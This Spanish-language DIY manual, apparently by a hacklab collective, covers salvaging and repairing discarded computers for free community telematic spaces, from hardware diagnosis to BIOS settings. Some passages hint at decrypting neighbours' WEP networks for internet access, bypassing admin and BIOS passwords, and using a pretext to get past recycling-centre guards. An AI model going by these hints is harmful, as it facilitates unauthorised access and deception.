Manual DIY para la creación de espacios telemáticos...

34
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info Manual DIY para la creación de espacios telemáticos de acceso libre y gratuito v1.4 Oficina para la Liberación Definitiva de las Tecnologías http://oldt.info Reciclar componentes informáticos es cada vez mas sencillo: el consumo de la tecnología nos hace pensar que lo que tenemos ya no nos sirve. Por eso se hace muy común encontrarnos equipos tirados al que le falla solo un componente o tiene un problema muy sencillo de arreglar. Gracias a esto, ahora es posible crear aulas de enseñanza autogestionada con acceso a internet donde se dicten talleres, charlas, o incluso scanear documentos, imprimir o navegar. Una alternativa libre a locutorios y bibliotecas publicas. En esta guía nos centraremos en como identificar el problema de un ordenador reciclado, arreglarlo y darle vida. Una vez que tengamos los ordenadores listos, crearemos una red donde el acceso a internet no necesariamente debe estar contratado por nosotros y aprenderemos a construir cables de red ethernet junto con las mejores maneras para incrementar la señal wifi. Por ultimo, instalaremos un teléfono VOIP con llamas internacionales gratuitas y una maquina recreativa MAME. TODO CON MATERIAL RECILADO! OLDT Wiki http://oldt.info La Oficina Para la Liberación Definitiva de las Tecnologías se encarga de la recopilación en forma de tutoriales ilustrativos con un formato wiki y fanzine para la creación de nuevos espacios telemáticos utilizando herramientas libres y abiertas para el uso y disfrute de quien desee usarlo. Los siguientes tutoriales se basan principalmente en proyectos sociales creados a partir de experiencias junto con personas con todo tipo de conocimientos. 1

Transcript of Manual DIY para la creación de espacios telemáticos...

Page 1: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Manual DIY para la creación de espacios telemáticos de acceso

libre y gratuito v1.4

Oficina para la Liberación Definitiva de las Tecnologías

http://oldt.info

Reciclar componentes informáticos es cada vez mas sencillo: el consumo de la tecnología nos hace pensar que lo que tenemos ya no nos sirve. Por eso se hace muy común encontrarnos equipos tirados al que le falla solo un componente o tiene un problema muy sencillo de arreglar.

Gracias a esto, ahora es posible crear aulas de enseñanza autogestionada con acceso a internet donde se dicten talleres, charlas, o incluso scanear documentos, imprimir o navegar. Una alternativa libre a locutorios y bibliotecas publicas.

En esta guía nos centraremos en como identificar el problema de un ordenador reciclado, arreglarlo y darle vida. Una vez que tengamos los ordenadores listos, crearemos una red donde el acceso a internet no necesariamente debe estar contratado por nosotros y aprenderemos a construir cables de red ethernet junto con las mejores maneras para incrementar la señal wifi. Por ultimo, instalaremos un teléfono VOIP con llamas internacionales gratuitas y una maquina recreativa MAME.

TODO CON MATERIAL RECILADO!

OLDT Wiki http://oldt.info

La Oficina Para la Liberación Definitiva de las Tecnologías se encarga de la recopilación en forma de tutoriales ilustrativos con un formato wiki y fanzine para la creación de nuevos espacios telemáticos utilizando herramientas libres y abiertas para el uso y disfrute de quien desee usarlo.

Los siguientes tutoriales se basan principalmente en proyectos sociales creados a partir de experiencias junto con personas con todo tipo de conocimientos.

1

Page 2: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

CSOAshttp://okupatutambien.net

Los Centros Sociales Okupados Autogestionados son en su gran mayoría los sitios ideales para llevar a cabo este tipo de proyectos. Reciclando ordenadores, configurándoles el Internet que obtenemos de alguna red abierta o con encriptacion WEP, y acondicionando un espacio, podemos crear diferentes aulas en centros sociales donde se realizaran todo tipo de cursos: de nivel básico orientado a usuarios de locutorios (videoconferencias, scaneo, descargar imágenes, redes sociales, tramites vía web, etc..); también otros talleres mas avanzados (reparación de hardware, comandos básicos en linux, hackademys, etc..);

Colectivo ChupanoLos Chupanos son un grupo de personas reunidas en el Patio Maravillas (Madrid) interesadas en la reparación y reutilización del hardware. Este colectivo (anteriormente Sin Techo) se denominan Chupanos ya que así les dicen a las casas provisionales hechas en bancos de plazas y otros sitios públicos. Ubicados en la segunda planta del antiguo edificio en la calle Acuerdo, recolectan la denominada “basura electrónica” y la reparan para darle un nuevo uso, donándolas a movimientos sociales.

Cabina Telefónica VOIP Entre enero del 2008 hasta enero del 2010, miembros del laboratorio informático Hamlab (Patio Maravillas, Madrid) montamos un servicio de telefonía gratuita con llamadas internacionales y nacionales para el uso y disfrute de quien quiera utilizarlo, ya que esta se encontraba en la calle disponible las 24horas. Se consiguió llegar al objetivo propuesto de las 10.000 llamadas, con una inversión total de 30 € aproximadamente.

Warchalking Warchalking se denomina a la acción de visibilizar redes wireless en espacios públicos donde la gente utilize internet con sus portátiles. Su nombre deriva de War (Guerra) y Chalking (tiza) ya que se suele anotar con códigos en el suelo. Estos códigos son muy parecidos a los que utilizaban los Hobos en Estados Unidos. Las redes pueden tener encriptacion o estar libres. Puntualmente nos vamos a centrar en la encriptacion WEP de 64 o 128 mb. Atención! Bajo ningún concepto podremos logearnos o autentificarnos en las redes que desencrespamos. Entrar en redes ajenas es ilegal.

Mame / Consola recreativaEl proyecto consiste en montar una maquina recreativa con software libre, con su estructura de material reciclado y mandos que se asemejan a las maquinas originales.

Se le han instalado mas de 800 juegos, con una interface gráfica desde el inicio en el que se puede navegar a travez de screenshots.

2

Page 3: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Conseguir el materialhttp://www.obsoletos.org/2009/04/consigue-un-ordenador-en-el-punto-limpio/

Caminando por la calle, en un punto limpio, un equipo regalado, una maquina vieja olvidada. Hay muchas maneras de conseguir un equipo. Siempre es conveniente conseguir mas de un equipo para ir sacándole las diferentes piezas y así poder formar (entre varios) uno que funciona.

Calle: En la gran mayoría de ciudad se hace una recogida de muebles las ultimas semanas de cada mes. Este es un buen día para recorrer las calles, esquinas donde la gente acumule lo que tira, contenedores y volquetes. Asi mismo, cualquier día es posible encontrarse material informático tirado por la acera. Punto Limpio: Esta opción cada vez esta mas controlada, los vigilantes en los puntos limpios no están habilitados para dejar sacar material. Es imprescindible ir con auto con alguna excusa (tirar aceite, muebles, etc..) En estos sitios los contenedores se dividen en material electrónico, ropa y demás, solo es cuestión de estirar el brazo y revolver. Hacklabs: Un hacklab es un espacio creado generalmente en centros sociales donde la gente lleva equipos en desuso a donarlos para revivirlos dándoles un nuevo uso. Si nos pasamos por alguno de estos, seguramente tendrán material con el que podamos contar. Otros: Un equipo regalado, abandonado en un armario, lleno de polvo, olvidado en alguna estantería Siempre hay maneras de conseguirlo!

Con un primer vistazo podemos saber con que tipo de ordenador vamos a trabajar, los problemas que puede llegar a tener y de que manera arreglarlos para tener una maquina ideal si se le quiere dar un uso básico: navegar, utilizar ofimática, escuchar musica o ver vídeos

Identificar el ordenadorComo conocer la antigüedad del equipo

En el caso que sea un desktop (sobremesa) chequeamos la cantidad de USBs que tiene: esta es una tecnología que se fue desarrollando en la ultima etapa, por eso mismo mientras mas conectores USB tiene mas probable que el equipo sea potente. Generalmente vienen entre cuatro en los PIII y seis en los últimos modelos.

Si el equipo es muy viejo (x486 para abajo) el conector del teclado sera mas gordo que el típico redondo PS/2. Las etiquetas frontales (en el caso que sea una computadora original) nos servirán para identificar el procesador, lo mas general es encontrarse equipos Pentium 2, Pentium 3 o AMD.

En cuanto a los laptops (portátiles) siempre es el peso lo que nos dará la pista con que equipo contaremos. Los fallos de estos suelen recaer en la pantalla rota, teclado con piezas que le faltan, el conector de electricidad que esta dañado o algo fuera de su lugar.

Arreglar estos equipos es algo mas complicado, ya que necesitaremos repuestos de la misma marca que el ordenador o piezas difíciles de cambiar debido a su reducido tamaño. Un portátil sin pantalla también nos puede ser útil: funcionan de servidor ssh al que conectarnos para gestionar nuestras descargas o servicios webs. Ahora nos encargaremos de cada dispositivo individualmente para conocer los fallos mas comunes

Identificar el problemaPosibles situaciones

Conectamos el cable de power, el vga y el teclado a la torre, presionamos el botón de encendido y tenemos dos posibilidades: que se enciendan las luces frontales o que no pase nada .

Si este es el caso, tendremos un problema ELECTRICO. También existe la posibilidad que el ordenador nos reciba con unos cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema de la placa base o alguna de sus tarjetas, un problema de HARDWARE. Los problemas de disco nos lo suele notificar en la primera pantalla de la BIOS pidiéndonos presionar F1, si pasamos esta pantalla y no nos aparece ningún logo de algun OS, sera la solucion mas rapida: limpiar o reinstalar el SISTEMA OPERATIVO.Saber buscar la información correcta es un paso crucial para solucionar el error que no nos permite arrancar el ordenador. Cada pieza viene con una etiqueta donde detalla el modelo y el fabricante; en el caso que no sea así debemos verificar las letras impresas en la misma placa.

Una vez que tengamos esta información podremos buscar por internet mas datos sobre la compatibilidad del dispositivo con nuestro sistema, o si a alguien le sucedió lo mismo y encontró la solución Para buscar en google correctamente buscaremos primero el fabricante del hardware, junto el símbolo + y el numero o sigla del modelo seguido con alguna descripción (en ingles hay mas resultados) del problema: driver download, device failure, fallo al inicio, etc.

3

Conector teclado ordenador viejo

Page 4: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Hardware PChttp://es.wikipedia.org/wiki/Hardware

Hardware corresponde a todas las partes físicas y tangibles de una computadora: sus componentes eléctricos, electrónicos, electromecánicos y mecánicos; sus cables, gabinetes o cajas, periféricos de todo tipo y cualquier otro elemento físico involucrado

Los componentes que nos podemos llegar a encontrar son:

1. Fuente de Electricidad2. Ventilador / Procesador3. Puertos / Conectores4. Lectora CD / DVD5. Disco Duro / Cable IDE6. Placa Base7. Placas Externas AGP / PCI8. Gabinete / Speaker / Cables

Gabinetehttp://es.wikipedia.org/wiki/Caja_de_computadora

El Gabinete o la Torre es el armazón del equipo que contiene los componentes del ordenador. Estos son normalmente construidos de acero, plástico o aluminio. Su función es la de proteger los componentes internos de la maquina

Debemos tener en cuenta el tamaño de nuestra placa base al elegir un gabinete ya que existen dos tipos (aunque actualmente se esta usando uno que es universal): AT y ATX.

Desde la parte frontal saldrán diversos cables de colores con descripciones que nos indicaran su función: Power SW va al botón de Encendido, Power LED a la luz frontal junto a este botón; ReReset SW corresponde al botón de rreset, y por ultimo HDD Led + – es el indicador led del disco duro cuando se

encuentra en funcionamiento. Estos cables van conectados a la placa base según nos indica en el manual, o guiándonos por las indicaciones impresas junto a los conectores donde van estos cables

La posición donde se ubica el hardware dentro de la caja puede variar, pero usualmente en las torres ATX se distribuye de la siguiente manera:

1. Placa Base 2.Fuente Eléctrica 3.CD / DVD Rom 4.Disco Duro

4

Page 5: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Placa Basehttp://es.wikipedia.org/wiki/Placa_base

La placa base, placa madre, tarjeta madre o board (en inglés motherboard, mainboard) es una tarjeta de circuito impreso a la que se conectan las demás partes de la computadora.

Los problemas con la placa base son algo difíciles de arreglar; debemos saber de electrónica y tener un pulso muy firme para desoldar y cambiar algo que viene de fabrica. Al echarle un vistazo a la placa base, lo que nos dará pista sobre su antigüedad aparte de la cantidad de USBs como dijimos al principio, es el procesador y la cantidad de entradas PCI que tenga. Hay que chequear que no haya ningún sujetador de los conectores quebrado; esto suele suceder en la memoria y en el sujetador que tienen para conectar el procesador y el ventilador que lo refrigera.

Dependiendo el modelo de la placa la disposición de los componentes integrados en la placa variara. Básicamente las partes que nos interesara saber son:

5

Page 6: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

1. Conector a la Fuente de Alimentación: Aquí va enchufado el conector mas grande (20 pines) de la fuente eléctrica a la placa base. Usualmente también hay un conector cuadrado (4 pines) al otro extremo de la placa al que también deberemos enchufar la fuente eléctrica

2. Zócalo (Slot) donde va el Procesador: Baldosa donde colocaremos el procesador. Debemos averiguar en los manuales si nuestro procesador es compatible con la placa base. En la foto vemos el zócalo vacío, generalmente este se encuentra debajo del disipador (parte metálica encargada de conducir la temperatura) y el fancooler (ventilador). Las sujeciones en esta sección de la placa son muy delicadas y las podremos quebrar, debemos trabajar con sumo cuidado.

3. Pila Bios: Esta pila se encarga de guardar los datos de configuración del ordenador, así como las fechas y diversas opciones mas del BIOs. Nos es muy útil cuando debemos acceder a la configuración inicial del ordenador y nos pide una contraseña; quitando la pila y dejando la fuente eléctrica enchufada unos segundos se borrara todas las configuraciones y volverá todo a por defecto.

4. Conector IDE: En esta entrada conectaremos el cable IDE (chato y gris) hacia el disco duro o la lectora de CD / DVD. Justo al lado nos encontraremos con una entrada similar pero mas pequeña; aquí ira conectado el cable del disquette.

5. Slot Memoria: Aquí colocaremos las tarjetas de memoria. La entrada con una división en el medio es para tarjetas SIMM (en este caso la amarilla). La entrada con una división al comienzo y otra en el medio, tarjetas DIMM. Es muy importante asegurarse que la tarjeta esta bien colocada, ya que va en un solo sentido. En el caso de colocarla mal podremos quemar la placa base.

6. Conector AGP: Exclusivo para Tarjeta Gráfica El conector tiene un brazo para sujetar la placa, debemos estar atentos al quitarle mover la pestaña de sujeción

7. Entrada VGA: En el caso que la placa base tenga una tarjeta vga integrada, nos encontraremos con este conector azul. Si queremos agregarle una tarjeta de vídeo externa, debemos deshabilitar la interna desde la BIOS

8. Puerto Paralelo: Un puerto bastante en desuso Aquí va conectada generalmente las impresoras.

9. Entrada PS2: El Verde se utiliza para el conector del ratón, el violeta que esta justo al lado para teclado. La flecha que tienen los conectores PS2 de los periféricos nos indicara como conectarlo en la posición correcta

10. Slot PCI: Muy similar a la entrada AGP, aquí iran conectadas las demás tarjetas (audio, ethernet, usb, wifi, etc..)

11. Puerto Serie: Puerto muy antiguo en desuso En el mas pequeño se conecta el ratón con entrada rectangular, en el mas amplio se conectan diversos dispositivos.

12. Conector USB: Uno de los mas populares, en reemplazo a los anteriores: casi todos los nuevos dispositivos van conectados por USB

13. Entrada Audio: Donde van conectados los pines jacks de los parlantes o micrófonos

14.Puerto Ethernet / Módem: Entrada RJ45 para cableado de red ethernet y la entrada RJ11 para entrada de teléfono

Fuente de Alimentaciónhttp://es.wikipedia.org/wiki/Fuente_de_alimentación

Una fuente de alimentación es el dispositivo que le otorga energía a los componentes electrónicos de la computadora. Aquí conectaremos el cable de power desde afuera hacia el enchufe, y los cables de colores hacia la placa base, disco duros, lectoras de cd/dvd, etc.

Para chequear la fuente de alimentación ATX desconectamos el cable de power, sacamos los cables que van a la placa base y en el medio del conector divisamos los cables verde y negro [pines 14 (PS ON) y 15 (Tierra)].Agarramos un clip, lo deformamos para que quede en forma de U y puenteamos los dos cables para que pase la corriente. Conectamos el cable de electricidad a la fuente, si se enciende el ventilador significa que esta funcionando; caso contrario abrimos la fuente para chequear si hay algo quemado o si el polvo no deja girar las aletas del cooler. Para cambiar la fuente debemos corroborar que los voltajes de ambas fuentes sean las mismas, esto lo podremos ver en la etiqueta de la fuente original

6

Page 7: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Disco Durohttp://es.wikipedia.org/wiki/Disco_duro

Un disco duro o disco rígido (en inglés hard disk drive) es donde se almacena la información Un dispositivo con memoria no volátil, conserva la información aun con el ordenador apagado. Dentro de la carcasa hay una serie de platos metálicos apilados girando a gran velocidadCuando un disco duro se cae o recibe un golpe en funcionamiento, el daño sera físico y la posibilidad de arreglarlo es bastante costosa: debemos llevarlo a un laboratorio donde cuentan con las herramientas necesarias para solucionar este tipo de fallos; cambiándole las piezas exactas de un mismo modelo de disco rígido.

Otro punto importante a comentar son los JUMPERS. Estos son pequeños bloquecitos de plástico que hacen de puente entre dos pines. Debemos leer la etiqueta que lleva el hdd para saber como poner el jumper para que el disco sea leído como MASTER (primario) o SLAVE (secundario). La etiqueta en el dorso del

disco duro nos indicara las posiciones especificas de cada HD

En el caso que no nos reconozca el disco duro, debemos verificar si el cable ATA (gris y chato) esta en su dirección correcta. Este cable puede ir en un solo sentido, si nos fijamos en ambos lados del conector (la parte plástica con agujeros) no son iguales: una tiene en el medio un cuadrado de plástico para enganchar exactamente en el sentido correcto. Ojo! Los cables antiguos no lo suelen llevar

Los problemas de partición es algo mas fácil de arreglar: tenemos la posibilidad de formatear el disco duro completo o intentar recuperar la partición Para esto contaremos con Hirenboots, un CD/USB autoarrancable con un entorno gráfico y uno de texto. Con el podremos reparticionar, clonar discos, desinfectar de virus, recuperar contraseñas admin de Windows, testear el disco con software del fabricante, etc. Herramienta muy recomendada!

Hiren’s BootCD es un CD autónomo. Este contiene una secuencia de arranque, así puede ser útil incluso cuando el sistema operativo primario no pueda ser iniciado. Por que el sector cero o MBR del Dico Duro no es escrito correctamente o carece de alguno. El Hiren’s BootCD tiene una lista extensa del software.

Memoria RAMhttp://es.wikipedia.org/wiki/Memoria_ram

La memoria de acceso aleatorio (en inglés: random-access memory cuyo acrónimo es RAM) es la memoria desde donde el procesador recibe las instrucciones y guarda los resultados. El testeo de la memoria es lo primero que ejecuta el ordenador al iniciarse, sin la memoria el equipo no arrancara. Este nos anunciara el fallo con 1 pitido de la bios intermitente. Debemos asegurarnos que las memorias están bien conectadas y sujetas a los brazos que tienen enganchados a la placa base.

El fallo de una memoria es muy común; para testear ordenadores debemos tener memorias de repuesto que sabemos con certeza que funcionan, y marcando con un rotulador las que dan fallos. Hay que estar atento que tipo de memoria acepta nuestra placa base y que tipo de memoria hemos conseguido. La diferencia la veremos en las divisiones que tiene la placa en donde están las lineas doradas: si la tiene en el medio es una SIMM, si tiene tres divisiones (una en el medio y otra casi al final) es una DIMM. Tanto la BIOS como los LiveCD de Ubuntu tienen un memtest que nos hará un chequeo para asegurarse que la memoria RAM esta funcionando. El proceso es lento pero al

tercer test ya sabremos en lineas generales si las memorias están operativas o no. Un método fácil es ir probando una por una: si el equipo no da un pitido y se inicia la memoria esta en correcto estado.

7

Page 8: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Microprocesadorhttp://es.wikipedia.org/wiki/Microprocesador

El cerebro del ordenador es algo muy poco común de cambiar, debemos estar seguros que la placa base soporta la arquitectura del procesador que vamos a cambiar. Los equipos viejos (PII) llevan un procesador que parecen un cartucho de Nintendo color negro: van conectados en vertical al equipo . Los nuevos procesadores son cuadrados del tamaño de una galletita con muchas patitas abajo (generalmente 68) Debemos chequear si los pines de abajo no están doblados. Lo mejor para desdoblarlos es un bolígrafo sin el tubo de tinta, meter el pin dentro del tubo de plástico y enderezarlo. También suelen tener silicona entre el procesador y el ventilador sujeto a la base de metal; esta se compra en tiendas de informática.

VentiladorEl ventilador (o fancooler) es el encargado de refrigerar el microprocesador. Este suele estar sobre un disipador (una estructura de metal con rejas) quien transmite el frio al chip. También suele llevar una gota de silicona para refrigerar mejor.

Las PC son un imán al polvo. Este es un fallo que siempre hay que verificar al abrir un equipo, los síntomas suelen ser desde un aviso en la BIOS a que el ordenador funcione y por un sobrecalentamiento se apage. En tiendas de informáticas venden aire comprimido y alcohol que se evapora muy útil para estos casos. Debemos desatornillarlo de la base metálica: en el caso que removamos esta base debemos limpiarla y aplicarle la silicona; limpiamos con un cepillo de dientes las alas y atornillamos todo nuevamente.

Conectores Tarjetashttp://es.wikipedia.org/wiki/Peripheral_Component_Interconnect

Integrado a la placa base notaremos que hay una fila de conectores blancos y uno marrón (en la gran mayoría de las placas, aunque suele variar de color) en las que conectaremos las diferentes tarjetas (vídeo, sonido, red, etc.).

El conector marrón se conoce como AGP. Aquí solo conectaremos las placas de vídeo Las otras entradas, PCI, serán para las demás tarjetas.

Tarjeta de Vídeohttp://es.wikipedia.org/wiki/Tarjeta_de_video

Una tarjeta gráfica, tarjeta de vídeo, placa de vídeo o tarjeta aceleradora de gráficos es quien se encarga de procesar las imágenes para poder verlas en el monitor o proyector. La entrada azul de entrada se llama VGA, aunque últimamente se esta popularizando una nueva entrada de vídeo, mas ancha y de color blanca. Esta de denomina DVI .Por ultimo, la entrada redonda S-Video se utiliza para conectar la tarjeta al televisor.

El fallo de la tarjeta de vídeo nos lo notificara con tres pitidos, eso puede deberse a que este mal conectada a la placa base (suelen tener sujeción) o que la tarjeta este fallando en si. Las placas bases a partir del PIII suelen llevar una tarjeta de vídeo integrada, por eso si queremos agregarle una placa externa debemos deshabilitar la interna desde la BIOS.

8

Page 9: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Tarjeta de Sonidohttp://es.wikipedia.org/wiki/Tarjeta_de_sonido

Una tarjeta de sonido o placa de sonido es una tarjeta de expansion (generalmente PCI) que permite la entrada y salida de audio.

Los colores de entrada en las tarjetas de sonido generalmente se respetan: el verde para la salida de audio y el rosa para la entrada de micrófono.

Tarjeta de Redhttp://es.wikipedia.org/wiki/Tarjeta_de_red

La tarjeta de red se utiliza para interconectar los ordenadores en una red. Esta puede ser ethernet (por cable) o wireless (inalámbrico)

El fallo de una placa de red ethernet se identifica al conectar el cable LAN al conector y las luces naranja y verdes no se encienden. Debemos comprobar que el cable funcione y este bien crimpeado, es muy útil probarlo en otro equipo para asegurarnos. Para chequear si tenemos una ip asignada desde Linux debemos teclear el comando # ifconfig y comprobar si nos a dado una dirección IP. En caso contrario, debemos hacer un # dhclient eht0

Lectora CD/DVDromhttp://es.wikipedia.org/wiki/Lectora_de_Cd-Rom#Lectora_de_CD

Una lectora es un dispositivo electrónico que permite la lectura de CD/Dvd mediante el empleo de un haz de un rayo láser.

Igual que el disco duro, las lectoras de CDS también llevan jumpers y cables IDE. Nos daremos cuenta si tenemos un fallo físico gracias al característico ruido que hace la bandeja desencajada. En el caso que no podamos abrirla, el frontal de las lectoras llevan un agujero muy pequeño al que si le metemos un alfiler podremos expulsar manualmente la traba de seguridad y ver por dentro si lleva algo atascado o si esta dañada.

Disquetterahttp://es.wikipedia.org/wiki/Disquette

La disquettera es una unidad lectora de estos dispositivos muy antiguos. Los denominados floppydisk (discos flexibles) eran negros y del tamaño de una caja de cd (aunque mas finos). Luego se implemento la 3/½ de menor tamaño y mas capacidad (1,5mb) Este es un sistema de almacenamiento en completo desuso. En el caso que lo necesitemos para bootear con un disquette de arranque y no funcione, chequeamos que no haya metido adentro algún disquette roto (generalmente se quedan las pestañas de metal que cubrian la cinta interior). También debemos chequear el cable: muy similar al del disco duro y al de la lectora, de un tamaño mas reducido.

OtrosAlguno de los problemas mas comunes en los periféricos (teclado / ratón / impresora / monitor) suelen ser que se encuentran doblados los pines de conexión al ordenador. Esto se puede chequear en el conector donde termina el cable del periférico en cuestión y chequear que este todo recto. En caso de estar doblado, lo enderezaremos al con un bolígrafo al igual que lo descripto en la parte del Microprocesador.

9

Page 10: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Hardware LaptopPara reparar un portátil se aplican las mismas técnicas que en el hardware del pc, aunque con menos posibilidades ya que todos los dispositivos están integrados.

Debemos dar vuelta el portátil, quitarle los sellos de seguridad si es que los tiene,, y desatornillar con una punta con forma de estrella los aproximadamente 6 o 7 tornillos. Si algún tornillo va en una posición especial, o tiene un tamaño diferente estará marcado con una linea azul. El teclado en la parte delantera también puede tener tornillos. Para quitarlo debemos sujetarlo por la parte de arriba y hacer un poco de presión para desencajarlo, siempre teniendo en cuenta que tiene un cable muy chato y delicado conectado a la placa.

Cable eléctricoSucede mucho el enredarse en el cable de energía que esta conectado al portátil y dañarlo quebrándolo o jalandolo hacia el suelo, tanto el pin como en conector. Es posible conseguir un mismo conector de otro modelo (siempre fijándose en las etiquetas que indican el voltaje) y empalmarlo. También se puede soldar directamente al conector en la placa base del laptop, aunque es algo mas complicado ya que debemos poner una toma dentro del espacio donde va la clavija, y otra en el exterior sin que se toquen: un trabajo manual que requiere mucha destresa el cual no se recomienda.

Pantalla RotaTambién al caerse o al golpearse (algo muy común en los laptops) se puede romper la pantalla. Arreglarla con los componentes que se encuentran en un hacklab es muy difícil; el repuesto tiene que ser exactamente el mismo modelo a cambiar, y se debe separar muy delicadamente la carcasa para que no se quiebre. Como alternativa (si el ordenador tiene salida vga externa) se le puede conectar un monitor de sobremesa y utilizarlo como servidor de descargas o compartir archivos.

VentilaciónEl sobrecalentamiento del procesador hace que el portátil emane mucho calor, y usándolo prolongadamente con el ventilador roto puede traer daños que no tienen solución Para abrir el portátil, lo damos vuelta y como describimos anteriormente abrimos la parte trasera para acceder al ventilador. Comprobamos que no tenga polvo y si esta bien conectado.

Botón EncendidoLos portátiles, al igual que los ordenadores de sobremesa, tienen un panel con leds y botones de encendido / reinicio / activar wireless / etc. Este panel va conectado a la placa base, debemos asegurarnos que este haciendo contacto con sus respectivos conectores.

MemoriaLa memoria de las portátiles generalmente se localiza muy fácilmente en la parte trasera. Esto se debe a que se debe desatornillar solo un par de tornillos para acceder a las tarjetas. Las memorias pueden estar flojas, o quemadas. En este caso, debemos comprobar que tipo de memoria son y conseguir el mismo tipo para que el ordenador pueda funcionar.

Teclado RotoEste talvez sea el problema mas generalizado. Las teclas se salen y se pierden, quedando un pequeño bulto de plástico muy incomodo de apretar. Debajo de la letra en cada tecla, hay una especie de puente blanco muy delicado formado por dos partes: estas tienen que ir enganchadas de modo que cuando se aprieten deben volver inmediatamente a su posición original.

10

Page 11: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

BIOShttp://es.wikipedia.org/wiki/Bios

La BIOS es un software integrado en una memoria que viene en la placa base, y es donde interactuaremos al encender el ordenador para configurar diferentes parámetros; como el orden de arranque (disco duro, lectora cd, usb o disquetera) tanto como la fecha, opciones de seguridad, y demás configuraciones.

Teclas SUPR / DEL / F2 bios preferences: Para acceder a la BIOS ni bien arrancamos el ordenador debemos presionar la tecla SUPR o F2, dependiendo del sistema que tenga nuestro pc. Esto lo sabremos en la pantalla negra que veremos ni bien enciende nuestro pc

Nos abrirá una pantalla azul con letras blancas donde podremos modificar las opciones. Nos moveremos por las diferentes configuraciones a traves de las teclas de direccion y la tecla Intro (Enter). Para salir utilizaremos la tecla Esc

Debemos tener cuidado no cambiar nada que no debeamos sin darnos cuenta. En el caso que dudemos tenemos la opcion de salir sin guardar nada (Exit Without Saving)

Standard CMOS Features – Aqui podremos modificar lo basico: la fecha y hora del ordenador (algunos equipos viejos suelen tener el Y2K y no deja poner el año 2000), verificar si el disco duro y la lectora de cd estan en master o slave, el modelo de estos, la disquetera y poco mas. Tambien esta la opcion para arrancar sin teclado, util en ordenadores que se usan de server. Para eso en la opcion Halt On le podemos seleccionar All Errors, But Keyboard para que no se detenga pidiendonos el F1 por la falta de teclado

11

Page 12: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Advanced BIOS Features - Una de las configuraciones importantes en la BIOS es la prioridad de arranque de cada dispositivo. Esto esta en la opcion Boot Priority. Debemos leer las instrucciones del costado para saber con que teclas se puede ir cambiando el orden (generalmente con el + y el -).

• Por defecto tendria que ser el C (disco duro), si queremos iniciar desde un cd rom debemos elegir CD, en el caso de tener la posibilidad de arrancar desde USB seleccionamos EXTRAIBLE DEVICE. Las prioridades de arranque se seleccionan en la opcion Advanced BIOS Features o apretando F9 en algunos sistemas.

Advanced Chipset Features – Con estas configuraciones podremos overlockear el procesador: hacer que se ponga a mayor velocidad para la que fue programado, aumentando el rendimiento y el calor que emana. Tambien podremos chequear la temperatura y mas datos exactos del procesador en si.

••

Sonido de la Bios : En el momento que el ordenador detecta un fallo, dependiendo la cantidad de pitidos que salgan del altavoz interno modelo de la BIOS, si es una Phoenix o una Award. Generalmente los pitidos son:Uno intermitente – Fallo tarjeta de memoriaUno corto y dos largos – Fallo tarjeta de video

Failure device / Pila / Mensajes BIOS: Tal como vimos en la seccion de la placa base, la pila del bios es necesaria para guardar la fecha y la hora asi como varias configuraciones mas. Para cambiarla debemos averiguar que tipo de voltaje lleva la pila original y reemplazarla por una nueva.

Esta opcion es muy util cuando la configuracion de la bios tiene contraseña. En algunos casos las pilas estan soldadas a las placas, siempre hay unos pines muy cerca en los que haremos un puente con un destornillador (juntar con la punta los dos pines sin doblarlos). Eso hara que todo vuelva a estar como vino de fabrica.

Actualizar BIOS: Actualizar la BIOS es un proceso riesgoso, en el caso de apagar accidentalmente el ordenador en este proceso puede ser fatal. Para hacerlo necesitaremos una disquetera (o si la placa es nueva, nos bastara con un USB).

Descargamos la actualizacion desde el fabricante de la placa y seguimos los pasos que nos indica el fichero README.TXT

12

Page 13: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Sistema Operativohttp://es.wikipedia.org/wiki/Sistema_operativo

